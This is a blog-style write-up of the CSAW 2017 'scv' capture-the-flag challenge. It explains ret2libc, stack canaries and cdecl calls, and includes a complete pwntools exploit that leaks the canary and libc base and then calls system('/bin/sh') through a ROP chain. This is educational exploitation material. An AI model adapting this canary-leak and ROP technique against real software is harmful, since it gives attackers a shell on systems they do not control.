Ret2libc
Here comes again, the next deadline-oriented write-up analysis by me. This time, I'm going to analyze this challenge where the players are required to do buffer overflow when the stack canaries exist within a program. It's kinda weird choosing a medium-level topic before a beginner-level one, but that's how we learn. The ultimate "top-down approach". Well, here we go.
What is it?
A libc is simply a shared standard C library where a lot of simple functions are located (such as printf()
, puts()
, or system()
). There you go. SYSTEM ( ). That's our goal in this exploit. A ret2libc exploit is an exploit where an attacker can gain control of the program (or the system, in this case) without crafting a specialized shellcode. This could happen because of various scenario, one of them is when the program has a no execution bit (NX bit) enabled. Such a scenario would never allow execution of arbitrary code because the program will refuse to execute that NX bit. So is it the end? Hell, anything can happen in Linux (or in anything, in general). We can simply redirect the course of our "protected" program into the system()
function which is located on our libc shared by the program.
How does it work?
This is a little hard to explain since I don't really learn it from the basic first. So the main vulnerability here comes from the original cdecl (or C declare) call convention, that is, how a program call a function on assembly-level.
On the original cdecl call convention, the function call goes like this.
int the_called_one (int x, int y, int z);
int the_caller (void)
{
int ret;
ret = the_called_one (1, 2, 3);
ret += 5;
return ret;
}
On the x86 assembly it will look like this:
caller:
;1. Make a new call frame
push ebp
mov ebp, esp
;2. Push call arguments
push 3
push 2
push 1
;3. Call the_called_one
call the_called_one
;4. Remove arguments from frame
add esp, 12
;5. Add ret by 5
add eax, 5
;6. Restore old call frame
pop ebp
;7. Return
ret
So to put it simply, the arguments are pushed to the stack, down from the last argument to the first one. I can't put much detail into it in this write-up, but on the next I will look for a buffer overflow exploit challenge where I can explain much more about stack and how it works. Let's get to the challenge.
Write-up Analysis
This time, we're going to take a look at a challenge from CSAW 2017, something called scv. Here are the links, as usual:
Original write-up: https://reversingpwn.wordpress.com/2017/09/18/writeup-csaw-2017-scv/
Original challenge: https://drive.google.com/open?id=1EcqhhhjgBA7RHyhn8kTKpTUGlPFiU6IO
Here we go
When we run the challenge, we were given three choices:
- Input something
- View that input
- Exit
Pretty simple huh?
:)
NO. This is not an ordinary buffer overflow exploit where we can input our junk + shellcode combination and let the program execute our sin. This is the situation where the program does not execute arbitrary commands. So how do we own this program? Remember the thing I talked about earlier, we don't have to craft any shellcode for this one, we're gonna let the program bring us right into the legitimate /bin/sh
. Let's just get going.
So how do we know we can't execute the command?
See the guy in the original write-up, he used a checksec
on the program and he saw that NX bit is turned on, meaning we can't execute our arbitrary code even if we did get it into the program. Also the canary is on. What is a canary? To put it simply, it's a random string of address put between a buffer and a control data in order to prevent buffer overflow. If we did overflow the buffer, the canary will be corrupted first. Hence the name canary, taken from the canaries on the coal mine, who will die before the miners if there are gas leakages :(
By the flow of the program, here's what we're going to do:
- Locate the canary
- Leak its address
- Jump above it
- Overwrite the return address with some function from libc
- Locate the libc function address to leak
- Locate the
/bin/sh
on thesystem()
inside GOT - Overwrite the return address with it
Here's the original write-up (I modified it a little, since some are written in Indonesian):
from pwn import *
scv = process("./scv", env={'LD_PRELOAD':'./libc-2.23.so'})
libc = ELF('./libc-2.23.so')
def feed(buf):
scv.recvuntil('>>')
scv.sendline('1')
scv.recvuntil('>>')
scv.send(buf)
def review():
scv.recvuntil('>>')
scv.sendline('2')
scv.recvuntil('[*]PLEASE TREAT HIM WELL.....\n-------------------------\n')
buf = scv.recvuntil('\n-------------------------', drop=True)
return buf
def mine():
scv.recvuntil('>>')
scv.sendline('3')
scv.recvline()
def send(s):
feed(s)
return review()
def send_payload(canaries, payload):
feed("A" * 168 + canaries + "A" * 8 + payload)
mine()
# Find the bird, man!
result = send("A" * 168 + '\n')
nl = result.find('\n')
canaries = result[nl:nl+8].replace('\n', chr(0), 1)
print "The canary is : {0}".format(hex(u64(canaries)))
# We dig this from the GOT
puts_plt = p64(0x602018) # puts() address in got.plt
puts = p64(0x4008D0) # puts() address
rdi_ret = p64(0x400ea3) # pop rdi; ret
main = p64(0x400A96) # main() address
payload = rdi_ret + puts_plt + puts + main
send_payload(canaries, payload)
# Leaking libc to get the base libc address
puts_leak = scv.recvuntil('\n', drop=True).ljust(8, '\x00')
print "The address of puts() is : {0}".format(hex(u64(puts_leak)))
libc_base = u64(puts_leak) - libc.symbols['puts']
print "Base address of libc is : {0}".format(hex(libc_base))
# Looking for the system address on libc and injecting our payload
system_addr = p64(libc_base + libc.symbols['system'])
bin_sh = p64(libc_base + 0x18cd17)
payload = rdi_ret + bin_sh + system_addr + '\n'
send_payload(canaries, payload)
# Enjoy
scv.interactive()
raw_input("")
On the first two lines after the
import
, we're defining the program and set it to auto-load the libc shared object.And next we're defining the functions used on the program, to interact with it later.
Now the
send_payload
looks interesting. See that it writes the junk characters appended by the canary and then some more junk before the real payload. I did say that the program check if the canary dies first (corrupted), but if the canary is replaced with the same one as before, then it is indeed alive and well :)That's why we need to leak the canary first, so we can "jump above" it.
The find the bird section is how to look for canary.
The section after that is preparing our weapon. The addresses can be obtained by using static or dynamic analysis.
After all the necessary addresses are found, we're ready to leak the libc through the function
puts()
. We do this because we want to get the base libc address so we can find the exact location of the/bin/sh
.The rest should be clear by now. Once we get the real address of
system("/bin/sh")
, we owned the program.
So the point of this exploit is to enter the system without executing self crafted shellcode. It's a pretty straightforward exploit if you already understand how the stack and canary works inside a program. As usual, if you have critics or suggestion you can reach my email on the previous page. Thank you.